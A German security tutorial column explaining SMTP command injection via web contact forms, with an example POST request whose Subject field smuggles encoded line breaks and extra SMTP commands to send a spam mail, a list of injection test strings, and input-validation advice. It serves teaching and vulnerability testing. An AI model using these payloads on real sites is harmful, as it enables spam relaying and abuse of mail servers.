In About Security #192 wurde die SMTP-Header-Injection beschrieben, d.h. das Einfügen weiterer Header in eine über SMTP übertragene E-Mail. In dieser Folge wird ein weiterführender Angriff auf SMTP beschrieben: Die SMTP Command Injection, das Einfügen zusätzlicher SMTP-Befehle.

Im Beispiel in About Security #192 wurde die SMTP-Kommunikation durch den PHP-Befehl mail() abgewickelt. Statt dessen kann die Webanwendung auch die komplette SMTP-Kommunikation selbst übernehmen oder eine dafür zuständige Funktion mit verschiedenen Parametern aufrufen. In solchen Fällen ist es evtl. möglich, zusätzliche SMTP-Befehle direkt in die SMTP-Kommunikation einzuschleusen und damit die vollständige Kontrolle über die verschickte Mail zu erlangen.

Im nächsten Beispiel soll die Webanwendung für das Absenden des Kontaktformulars folgenden POST-Request verwenden:

POST kontakt.php HTTP/1.1
Host: www.server.example
Content-Length: 118

From=irgendwer@boeses.example&Subject=Schwachstelle+im+Kontaktformular
&Body=Ihr+Kontaktformular+ist+nicht+ganz+dicht!

Der Zeilenumbruch im Request-Body ist normalerweise nicht vorhanden, hier sowie in den folgenden Beispielen aber zwecks besserer Darstellung notwendig.

Die Webanwendung wickelt daraufhin folgende SMTP-Kommunikation mit dem zuständigen Mailserver ab:

MAIL FROM: irgendwer@boeses.example
RCPT TO: admin@server.example
DATA
From: irgendwer@boeses.example
To: admin@server.example
Subject: Schwachstelle im Kontaktformular

Ihr Kontaktformular ist nicht ganz dicht!
.

Nachdem der Client den Befehl "DATA" gesendet hat, folgt der Inhalt der Mail, zusammengesetzt aus den Parametern des POST-Requests. Werden die Eingaben nicht oder nicht ausreichend geprüft, können darüber weitere SMTP-Befehle eingeschleust werden. Im Beispiel soll dafür der Parameter für das Subject-Feld verwendet werden:

From=irgendwer@boeses.example&Subject=Schwachstelle+im+Kontaktformular
%0d%0airgendwas%0d%0a%2eMAIL+FROM:+irgendwer@boeses.example%0d%0aRCPT+
TO:+einer@irgendwo.example%0d%0aDATA%0d%0aFrom:+irgendwer@boeses.examp
le%0d%0aTo: einer@irgendwo.example%0d%0aSubject:+Bestes+Spam,+besonder
s+billig%0d%0a%0d%0aBei+uns+gibt+es+bestes+Spam+zu+Sonderpreisen!%0d%0
a%0d%0a%2e&Body=Ihr+Kontaktformular+ist+nicht+ganz+dicht!

Damit ergibt sich folgender SMTP-Dialog, bei dem zwei voneinander unabhängige E-Mails erzeugt werden, von denen die zweite vollständig vom Angreifer bestimmt wird:

MAIL FROM: irgendwer@boeses.example
RCPT TO: admin@server.example
DATA
From: irgendwer@boeses.example
To: admin@server.example
Subject: Schwachstelle im Kontaktformular
irgendwas
.
MAIL FROM: irgendwer@boeses.example
RCPT TO: einer@irgendwo.example
DATA
From: irgendwer@boeses.example
To: einer@irgendwo.example
Subject: Bestes Spam, besonders billig
Bei uns gibt es bestes Spam zu Sonderpreisen!
.
Ihr Kontaktformular ist nicht ganz dicht!
.

SMTP-Injection-Schwachstellen finden

Schwachstellen, über die SMTP-Befehle eingeschleust werden können, können naturgemäß nur da auftreten, wo Parameter in eine versendete E-Mail übernommen werden. Entsprechend müssen zuerst alle betreffenden Parameter ermittelt werden. Danach wird jeder Parameter mit einer Reihe von Teststrings geprüft, bei denen sowohl Unix- (LF, %0a) als auch Windows- (CR LF, %0d%0a) Zeilenumbrüche getestet werden:

[ihre Mailadresse]%0aCc:[ihre Mailadresse]
[ihre Mailadresse]%0d%0aCc:[ihre Mailadresse]

[ihre Mailadresse]%0aBcc:[ihre Mailadresse]
[ihre Mailadresse]%0d%0aBcc:[ihre Mailadresse]

%0aDATA%0airgendwas%0a%2e%0aMAIL+FROM:+[ihre+Mailadresse]%0aRCPT+TO:[i
hre+Mailadresse]%0aDATA%0aFrom:+[ihre+Mailadresse]%0aTo:+[ihre+Mailadr
esse]%0aSubject:+Test%0airgendwas%0a%2e%0a

%0d%0aDATA%0d%0airgendwas%0d%0a%2e%0d%0aMAIL+FROM:+[ihre+Mailadresse]%
0d%0aRCPT+TO:[ihre+Mailadresse]%0d%0aDATA%0d%0aFrom:+[ihre+Mailadresse
]%0d%0aTo:+[ihre+Mailadresse]%0d%0aSubject:+Test%0d%0airgendwas%0d%0a%
2e%0d%0a

Kommt eine der so provozierten Testmails an, ist die Anwendung verwundbar.

Jede Fehlermeldung wird daraufhin überprüft, ob sie im Zusammenhang mit dem Mailversand steht und Informationen darüber liefert, wie die Testeingabe geändert werden muss, um erfolgreich zu sein.

Evtl. enthält das für den Mailversand zuständige HTML-Formular für einen Angriff hilfreiche Informationen wie Hinweise auf die verwendete Technik auf der Serverseite oder ein verstecktes Feld mit der To-Adresse, die dann direkt manipuliert werden kann. Entsprechende Informationen werden bereits beim Sammeln von Informationen über die Webanwendung erfasst, siehe About Security #144 ff..

Wird für die SMTP-Kommunikation oder den kompletten Mailversand eine Systemfunktion aufgerufen, ist evtl. auch das Einschleusen von Shell-Befehlen möglich, siehe About Security #184 ff..

SMTP Injection verhindern

Wie immer gilt: Um die Angriffe zu verhindern, müssen die Eingaben geprüft und ggf. gefiltert oder verworfen werden:

• Parameter für E-Mail-Adressen dürfen nur E-Mail-Adressen enthalten
• Weder im Subject noch in den Mail-Adressen dürfen Zeilenumbrüche enthalten sein
• Werden Parameter, insbesondere der Nachrichteninhalt, direkt in die SMTP-Kommunikation übernommen, dürfen sie keine Zeile, die nur aus einem einzelnen . besteht, enthalten

In der nächsten Folge geht es noch einmal um das Einschleusen zusätzlicher Befehle, dann in LDAP-Anfragen.

Carsten Eilers

About Security - Übersicht zum aktuellen Thema:

• About Security #192: Schwachstellen-Suche: SMTP-Header-Injection
• About Security #193: Schwachstellen-Suche: SMTP-Command-Injection